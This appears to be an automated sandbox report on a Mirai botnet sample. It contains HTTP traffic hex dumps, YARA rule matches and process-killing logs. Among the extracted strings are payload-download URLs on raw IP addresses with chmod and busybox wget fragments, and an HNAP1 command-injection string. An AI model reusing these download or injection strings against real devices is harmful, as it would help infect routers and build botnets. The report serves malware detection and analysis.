32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:53:31 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 15 Apr 2024 06:53:35 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://concourse.com.hk/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeContent-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 0a 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 43 6f 6e 63 6f 75 72 73 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 43 6f 6e 63 6f 75 72 73 65 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 63 6f 75 72 73 65 2e 63 6f 6d 2e 68 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 43 6f 6e 63 6f 75 72 73 65 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 63 6f 75 72 73 65 2e 63 6f 6d 2e 68 6b 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 09 3c 73 63 72 69 70 74 3e 0a 09 09 09 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 33 2e 31 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 33 2e 31 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 15 Apr 2024 09:53:45 GMTServer: App-webs/Content-Length: 194Content-Type: text/htmlConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /GponForm/diag_Form</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: MON APR 15 03:53:43 2024Server: cwmp serverConnection: closeContent-Length: 14Content-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: MON APR 15 03:53:44 2024Server: cwmp serverConnection: closeContent-Length: 14Content-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:53:46 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:53:47 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 06:53:48 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:53:48 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 06:53:48 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:53:48 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 14195302491777280335Connection: closeServer: lego_v4Date: Mon, 15 Apr 2024 06:53:49 GMTX-Cache-Lookup: Return Directly
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 12:23:49 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 15 Apr 2024 09:54:32 GMTServer: webserverX-Frame-Options: SAMEORIGINContent-Length: 194Content-Type: text/htmlConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /GponForm/diag_Form</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 12:23:49 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 15 Apr 2024 06:53:49 GMTServer: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02X-Powered-By: PHP/5.4.45Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.gzrmcbs.com/wp-json/>; rel="https://api.w.org/"Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 20 20 e6 9c aa e6 89 be e5 88 b0 e9 a1 b5 e9 9d a2 20 2d 20 e8 b4 b5 e5 b7 9e e4 ba ba e6 b0 91 e5 87 ba e7 89 88 e7 a4 be 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 68 75 62 61 6e 73 68 65 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 68 75 62 61 6e 73 68 65 2f 63 73 73 2f 73 77 69 70 65 72 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 75 74 6f 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 70 20 63 6c 65 61 72 66 69 78 22 3e 0a 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 20 66 6c 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 63 68 75 62 61 6e 73 68 65 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 62 6f 78 20 66 72 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 67 6e 22 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 64 65 6e 67 6c 75 22 3e e7 99 bb e5 bd 95 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 3e 7c 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 7a 68 75 63 65 22 3e e6 b3 a8 e5 86 8c 3c 2f 61 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 22 3e 0a 09 09 09 09 09 09 0a 09 09 09 09 09 09 3c 66 6f 72 6d 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 69 64 3d 22 73 65 61 72 63 68 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 2f 22 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 3e 0a 09 09 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 e8 be 93 e5 85 a5 e5 85 b3 e9 94 ae e8 af 8d e6 90 9c e7 b4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/htmlContent-Length: 89Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 03:53:55 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdDate: Mon, 15 Apr 2024 06:53:56 GMTConnection: keep-aliveKeep-Alive: timeout=60, max=1000Content-Type: text/htmlX-Frame-Options: sameoriginX-XSS-Protection: 1X-Content-Type-Options: nosniffContent-Security-Policy: default-src 'self'; frame-ancestors 'self'Content-length: 126Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD><BODY><H2>Access Error: 404 -- Not Found</H2></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 03:53:58 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 03:53:58 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Source: x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	String found in binary or memory: http://185.10.68.127/mips
Source: x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	String found in binary or memory: http://213.232.235.166/mips;
Source: x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	String found in binary or memory: http://213.232.235.166/mips;)
Source: x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	String found in binary or memory: http://213.232.235.166/mips;chmod
Source: x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	String found in binary or memory: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd
Source: x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: x86.elf, 5451.1.0000000008048000.000000000805c000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: x86.elf	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3208, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5465, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5466, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5467, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5468, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5469, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5470, result: successful	Jump to behavior

Source: LOAD without section mappings

Program segment: 0x8048000

Source: Initial sample

String containing 'busybox' found: `busybox+w>t+http:/

Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3208, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5465, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5466, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5467, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5468, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5469, result: successful	Jump to behavior
Source: /tmp/x86.elf (PID: 5453)	SIGKILL sent: pid: 5470, result: successful	Jump to behavior

Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5451.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
